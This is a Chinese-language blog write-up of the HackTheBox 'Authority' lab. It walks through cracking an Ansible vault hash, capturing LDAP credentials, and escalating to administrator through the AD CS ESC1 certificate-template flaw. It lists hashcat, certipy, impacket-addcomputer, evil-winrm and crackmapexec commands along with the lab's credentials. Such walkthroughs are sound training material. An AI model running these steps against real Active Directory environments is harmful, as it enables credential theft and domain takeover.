HTB-Authority(ESC1)
记录HTB-Authority靶机重要操作,主要是Ansible 凭证以及ESC1漏洞利用部分。
1、Ansible
简介
Ansible 是一款开源 IT 自动化工具,能够自动执行置备、配置管理、应用部署、编排和许多其他手动 IT 流程。与更为简易的管理工具不同,Ansible 用户(如系统管理员、开发人员和架构师)可以运用 Ansible 自动化,在整个企业范围内更高效地安装软件、自动执行日常任务、置备基础架构、提高安全性和合规性、修补系统并共享自动化。
vault hash值爆破
1 | hashcat -m 16900 -O -a 0 -o hash.out hash --session=vault /usr/share/wordlists/rockyou.txt |
拿到密码后,破解main.yml文件的vault值:
1 | ansible localhost -m debug -a var="pwm_admin_password" -e "@main.yml" --vault-password-file=/home/kali/box/pass |
2、利用responder获取ldap用户名密码,之后利用evil-winrm获取立足点
1 | evil-winrm -i authority.htb -u "svc_ldap" -p 'lDaP_1n_th3_cle4r!' |
3、提权(ESC1利用)
ESC1漏洞原理
在ADCS中,错误配置会导致普通域用户到域管理员的提权,当证书模板允许指定subjectAltName时,就可以为另一个用户请求证书。如果EKU指定客户端身份验证或ANY,则可以将其用于提权。可以利用certipy检测。
ESC1利用条件
1、需要有权限去获取证书
2、能够登记为客户端身份验证或智能卡登录等
3、CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT开启
利用过程
利用certipy查看有哪些凭证模块能够利用
1 | certipy-ad find -u svc_ldap -p lDaP_1n_th3_cle4r! -dc-ip 10.10.11.222 -enable -vulnerable -stdout |
CorpVPN这个模板里存在ESC1漏洞,而要利用这个凭证模板漏洞,我们需要创建一个域机器账户,,svc_ldap这个用户有这个权限
1 | impacket-addcomputer authority.htb/svc_ldap:'lDaP_1n_th3_cle4r!' -computer-name ABC$ -computer-pass passwd12 |
利用下载好的管理员凭证打开ldap-shell
1 | certipy auth -pfx administrator_authority.pfx -dc-ip 10.10.11.222 -ldap-shell |
最后直接获取相关权限shell,可以用evil-winrm或者crackmapexec winrm
1 | crackmapexec winrm -u '<username>' -p '<password>' -dc-ip 10.10.11.222 -x 'type C:\Users\Administrator\Desktop\root.txt' |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Xiaolitx's blog!
评论